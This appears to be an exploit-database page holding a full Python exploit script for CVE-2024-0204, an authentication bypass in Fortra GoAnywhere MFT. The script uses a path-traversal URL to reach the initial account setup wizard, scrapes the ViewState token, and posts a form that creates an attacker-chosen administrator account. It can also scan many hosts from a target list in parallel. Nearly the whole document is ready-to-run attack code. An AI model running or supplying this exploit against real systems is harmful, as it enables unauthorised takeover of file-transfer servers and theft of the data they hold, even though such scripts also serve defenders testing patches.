
7 changes to exploits/shellcodes/ghdb Automic Agent 24.3.0 HF4 - Privilege Escalation Fortra GoAnywhere MFT 7.4.1 - Authentication Bypass SolarWinds Serv-U 15.4.2 HF1 - Directory Traversal Campcodes Online Hospital Management System 1.0 - SQL Injection WordPress Digits Plugin 8.4.6.1 - Authentication Bypass via OTP Bruteforcing Windows File Explorer Windows 11 (23H2) - NTLM Hash Disclosure
338 lines
No EOL
15 KiB
Python
Executable file
338 lines
No EOL
15 KiB
Python
Executable file
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
# Exploit Title: Fortra GoAnywhere MFT 7.4.1 - Authentication Bypass
|
|
# Date: 2025-05-25
|
|
# Exploit Author: @ibrahimsql
|
|
# Exploit Author's github: https://github.com/ibrahimsql
|
|
# Vendor Homepage: https://www.fortra.com/products/secure-file-transfer/goanywhere-mft
|
|
# Software Link: https://www.fortra.com/products/secure-file-transfer/goanywhere-mft/free-trial
|
|
# Version: < 7.4.1
|
|
# Tested on: Kali Linux 2024.1
|
|
# CVE: CVE-2024-0204
|
|
# Description:
|
|
# Fortra GoAnywhere MFT versions prior to 7.4.1 contain a critical authentication bypass vulnerability
|
|
# that allows unauthenticated attackers to create an administrator account by exploiting a path traversal
|
|
# vulnerability to access the initial account setup wizard. This exploit demonstrates two different
|
|
# path traversal techniques to maximize successful exploitation across various server configurations.
|
|
#
|
|
# References:
|
|
# - https://old.rapid7.com/blog/post/2024/01/23/etr-cve-2024-0204-critical-authentication-bypass-in-fortra-goanywhere-mft/
|
|
# - https://www.tenable.com/blog/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-vulnerability
|
|
# - https://nvd.nist.gov/vuln/detail/cve-2024-0204
|
|
|
|
import argparse
|
|
import concurrent.futures
|
|
import os
|
|
import socket
|
|
import sys
|
|
from typing import List, Dict, Tuple, Optional, Union
|
|
|
|
import requests
|
|
from bs4 import BeautifulSoup
|
|
from colorama import Fore, Style, init
|
|
|
|
# Initialize colorama for cross-platform colored output
|
|
init(autoreset=True)
|
|
|
|
# Disable SSL warnings
|
|
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
# Constants
|
|
DEFAULT_TIMEOUT = 10
|
|
MAX_THREADS = 10
|
|
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
|
|
PRIMARY_EXPLOIT_PATH = "/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"
|
|
SECONDARY_EXPLOIT_PATH = "/goanywhere/..;/wizard/InitialAccountSetup.xhtml"
|
|
|
|
|
|
class Banner:
|
|
@staticmethod
|
|
def show():
|
|
banner = f"""{Fore.CYAN}
|
|
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗
|
|
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ██╔═████╗╚════██╗██╔═████╗██║ ██║
|
|
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗██║██╔██║ █████╔╝██║██╔██║███████║
|
|
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝████╔╝██║██╔═══╝ ████╔╝██║╚════██║
|
|
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║ ╚██████╔╝███████╗╚██████╔╝ ██║
|
|
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝
|
|
{Style.RESET_ALL}
|
|
{Fore.GREEN}CVE-2024-0204 Exploit v1.0{Fore.YELLOW} | {Fore.CYAN} Developer @ibrahimsql{Style.RESET_ALL}
|
|
"""
|
|
print(banner)
|
|
|
|
|
|
class GoAnywhereExploit:
|
|
def __init__(self, username: str, password: str, timeout: int = DEFAULT_TIMEOUT):
|
|
self.username = username
|
|
self.password = password
|
|
self.timeout = timeout
|
|
self.headers = {"User-Agent": USER_AGENT}
|
|
self.vulnerable_targets = []
|
|
self.non_vulnerable_targets = []
|
|
self.error_targets = []
|
|
|
|
def check_target(self, target: str) -> Dict:
|
|
"""
|
|
Check if target is vulnerable to CVE-2024-0204 and attempt to create an admin account
|
|
|
|
Args:
|
|
target: The target URL/domain to check
|
|
|
|
Returns:
|
|
Dict containing result information
|
|
"""
|
|
result = {
|
|
"target": target,
|
|
"vulnerable": False,
|
|
"message": "",
|
|
"admin_created": False,
|
|
"error": None
|
|
}
|
|
|
|
# Try primary exploit path first
|
|
primary_result = self._try_exploit_path(target, PRIMARY_EXPLOIT_PATH)
|
|
if primary_result["vulnerable"]:
|
|
return primary_result
|
|
|
|
# If primary path failed, try secondary exploit path
|
|
print(f"{Fore.BLUE}[*] {Style.RESET_ALL}Primary exploit path failed, trying alternative path...")
|
|
secondary_result = self._try_exploit_path(target, SECONDARY_EXPLOIT_PATH)
|
|
if secondary_result["vulnerable"]:
|
|
return secondary_result
|
|
|
|
# If both paths failed, target is not vulnerable
|
|
print(f"{Fore.RED}[-] {Style.RESET_ALL}{target} - Not vulnerable to CVE-2024-0204")
|
|
result["message"] = "Not vulnerable to CVE-2024-0204"
|
|
self.non_vulnerable_targets.append(target)
|
|
return result
|
|
|
|
def _try_exploit_path(self, target: str, exploit_path: str) -> Dict:
|
|
"""
|
|
Try to exploit the target using a specific exploit path
|
|
|
|
Args:
|
|
target: Target to exploit
|
|
exploit_path: Path to use for exploitation
|
|
|
|
Returns:
|
|
Dict with exploitation results
|
|
"""
|
|
result = {
|
|
"target": target,
|
|
"vulnerable": False,
|
|
"message": "",
|
|
"admin_created": False,
|
|
"error": None
|
|
}
|
|
|
|
try:
|
|
url = f"https://{target}{exploit_path}"
|
|
session = requests.Session()
|
|
|
|
# Initial check for vulnerability
|
|
response = session.get(
|
|
url,
|
|
headers=self.headers,
|
|
verify=False,
|
|
timeout=self.timeout
|
|
)
|
|
|
|
# Determine if target is vulnerable based on response
|
|
if response.status_code == 401:
|
|
print(f"{Fore.RED}[-] {Style.RESET_ALL}{target} - Not vulnerable via {exploit_path} (401 Unauthorized)")
|
|
result["message"] = "Not vulnerable (401 Unauthorized)"
|
|
return result
|
|
|
|
if response.status_code != 200:
|
|
print(f"{Fore.YELLOW}[?] {Style.RESET_ALL}{target} - Unexpected response via {exploit_path} (Status: {response.status_code})")
|
|
result["message"] = f"Unexpected response (Status: {response.status_code})"
|
|
return result
|
|
|
|
# Target is potentially vulnerable
|
|
print(f"{Fore.GREEN}[+] {Style.RESET_ALL}{target} - Potentially vulnerable via {exploit_path}!")
|
|
result["vulnerable"] = True
|
|
self.vulnerable_targets.append(target)
|
|
|
|
# Extract ViewState token for the form submission
|
|
try:
|
|
soup = BeautifulSoup(response.text, "html.parser")
|
|
view_state = soup.find('input', {'name': 'javax.faces.ViewState'})
|
|
|
|
if not view_state or not view_state.get('value'):
|
|
print(f"{Fore.YELLOW}[!] {Style.RESET_ALL}{target} - Could not extract ViewState token via {exploit_path}")
|
|
result["message"] = "Could not extract ViewState token"
|
|
return result
|
|
|
|
# Prepare data for admin account creation
|
|
data = {
|
|
"j_id_u:creteAdminGrid:username": self.username,
|
|
"j_id_u:creteAdminGrid:password_hinput": self.password,
|
|
"j_id_u:creteAdminGrid:password": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
|
|
"j_id_u:creteAdminGrid:confirmPassword_hinput": self.password,
|
|
"j_id_u:creteAdminGrid:confirmPassword": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
|
|
"j_id_u:creteAdminGrid:submitButton": "",
|
|
"createAdminForm_SUBMIT": 1,
|
|
"javax.faces.ViewState": view_state['value']
|
|
}
|
|
|
|
# Attempt to create admin account
|
|
create_response = session.post(
|
|
url,
|
|
headers=self.headers,
|
|
data=data,
|
|
verify=False,
|
|
timeout=self.timeout
|
|
)
|
|
|
|
if create_response.status_code == 200:
|
|
print(f"{Fore.GREEN}[+] {Style.RESET_ALL}{target} - Admin account created successfully via {exploit_path}! Username: {self.username}, Password: {self.password}")
|
|
result["admin_created"] = True
|
|
result["message"] = f"Admin account created successfully! Username: {self.username}, Password: {self.password}"
|
|
else:
|
|
print(f"{Fore.RED}[-] {Style.RESET_ALL}{target} - Failed to create admin account via {exploit_path} (Status: {create_response.status_code})")
|
|
result["message"] = f"Failed to create admin account (Status: {create_response.status_code})"
|
|
|
|
except Exception as e:
|
|
print(f"{Fore.RED}[!] {Style.RESET_ALL}{target} - Error extracting form data: {str(e)}")
|
|
result["message"] = f"Error extracting form data: {str(e)}"
|
|
result["error"] = str(e)
|
|
|
|
except requests.exceptions.ConnectTimeout:
|
|
print(f"{Fore.YELLOW}[!] {Style.RESET_ALL}{target} - Connection timeout")
|
|
result["message"] = "Connection timeout"
|
|
result["error"] = "Connection timeout"
|
|
self.error_targets.append(target)
|
|
|
|
except requests.exceptions.ConnectionError:
|
|
print(f"{Fore.YELLOW}[!] {Style.RESET_ALL}{target} - Connection error")
|
|
result["message"] = "Connection error"
|
|
result["error"] = "Connection error"
|
|
self.error_targets.append(target)
|
|
|
|
except Exception as e:
|
|
print(f"{Fore.RED}[!] {Style.RESET_ALL}{target} - Error: {str(e)}")
|
|
result["message"] = f"Error: {str(e)}"
|
|
result["error"] = str(e)
|
|
self.error_targets.append(target)
|
|
|
|
return result
|
|
|
|
def scan_targets(self, targets: List[str]) -> None:
|
|
"""
|
|
Scan multiple targets concurrently
|
|
|
|
Args:
|
|
targets: List of targets to scan
|
|
"""
|
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
|
|
executor.map(self.check_target, targets)
|
|
|
|
def load_targets_from_file(self, file_path: str) -> List[str]:
|
|
"""
|
|
Load targets from a file
|
|
|
|
Args:
|
|
file_path: Path to the file containing targets
|
|
|
|
Returns:
|
|
List of targets
|
|
"""
|
|
if not os.path.exists(file_path):
|
|
print(f"{Fore.RED}[!] {Style.RESET_ALL}File not found: {file_path}")
|
|
return []
|
|
|
|
try:
|
|
with open(file_path, "r") as f:
|
|
return [line.strip() for line in f if line.strip()]
|
|
except Exception as e:
|
|
print(f"{Fore.RED}[!] {Style.RESET_ALL}Error reading file: {str(e)}")
|
|
return []
|
|
|
|
def print_summary(self) -> None:
|
|
"""Print a summary of the scanning results"""
|
|
print(f"\n{Fore.CYAN}[*] {Style.RESET_ALL}Scan Summary:")
|
|
print(f"{Fore.GREEN}[+] {Style.RESET_ALL}Vulnerable targets: {len(self.vulnerable_targets)}")
|
|
print(f"{Fore.RED}[-] {Style.RESET_ALL}Non-vulnerable targets: {len(self.non_vulnerable_targets)}")
|
|
print(f"{Fore.YELLOW}[!] {Style.RESET_ALL}Error targets: {len(self.error_targets)}")
|
|
|
|
if self.vulnerable_targets:
|
|
print(f"\n{Fore.GREEN}[+] {Style.RESET_ALL}Vulnerable targets:")
|
|
for target in self.vulnerable_targets:
|
|
print(f" - {target}")
|
|
|
|
|
|
def validate_args(args):
|
|
"""Validate command line arguments"""
|
|
if not args.target and not args.file:
|
|
print(f"{Fore.RED}[!] {Style.RESET_ALL}Error: You must specify either a target (-t) or a file (-f)")
|
|
return False
|
|
|
|
if args.file and not os.path.exists(args.file):
|
|
print(f"{Fore.RED}[!] {Style.RESET_ALL}Error: File not found: {args.file}")
|
|
return False
|
|
|
|
if not args.username or not args.password:
|
|
print(f"{Fore.RED}[!] {Style.RESET_ALL}Error: You must specify both username (-u) and password (-p)")
|
|
return False
|
|
|
|
return True
|
|
|
|
|
|
def main():
|
|
"""Main function"""
|
|
parser = argparse.ArgumentParser(description="CVE-2024-0204: Fortra GoAnywhere MFT Authentication Bypass Exploit")
|
|
|
|
parser.add_argument('-t', '--target', help="Target host to check (e.g., 'example.com' or '192.168.1.1')")
|
|
parser.add_argument('-f', '--file', help="File containing targets, one per line")
|
|
parser.add_argument('-u', '--username', help="Username for the admin account to create")
|
|
parser.add_argument('-p', '--password', help="Password for the admin account to create")
|
|
parser.add_argument('--timeout', type=int, default=DEFAULT_TIMEOUT, help=f"Connection timeout in seconds (default: {DEFAULT_TIMEOUT})")
|
|
parser.add_argument('--threads', type=int, default=MAX_THREADS, help=f"Number of concurrent threads for scanning (default: {MAX_THREADS})")
|
|
|
|
args = parser.parse_args()
|
|
|
|
# Show banner
|
|
Banner.show()
|
|
|
|
# Validate arguments
|
|
if not validate_args(args):
|
|
parser.print_help()
|
|
sys.exit(1)
|
|
|
|
# Initialize exploit
|
|
exploit = GoAnywhereExploit(
|
|
username=args.username,
|
|
password=args.password,
|
|
timeout=args.timeout
|
|
)
|
|
|
|
# Handle single target
|
|
if args.target:
|
|
print(f"{Fore.CYAN}[*] {Style.RESET_ALL}Checking single target: {args.target}")
|
|
exploit.check_target(args.target)
|
|
|
|
# Handle targets from file
|
|
elif args.file:
|
|
targets = exploit.load_targets_from_file(args.file)
|
|
if not targets:
|
|
print(f"{Fore.RED}[!] {Style.RESET_ALL}No valid targets found in the file")
|
|
sys.exit(1)
|
|
|
|
print(f"{Fore.CYAN}[*] {Style.RESET_ALL}Loaded {len(targets)} targets from file")
|
|
print(f"{Fore.CYAN}[*] {Style.RESET_ALL}Starting scan with {args.threads} threads...\n")
|
|
|
|
exploit.scan_targets(targets)
|
|
|
|
# Print summary
|
|
exploit.print_summary()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
try:
|
|
main()
|
|
except KeyboardInterrupt:
|
|
print(f"\n{Fore.YELLOW}[!] {Style.RESET_ALL}Scan interrupted by user")
|
|
sys.exit(0)
|
|
except Exception as e:
|
|
print(f"{Fore.RED}[!] {Style.RESET_ALL}Unhandled error: {str(e)}")
|
|
sys.exit(1) |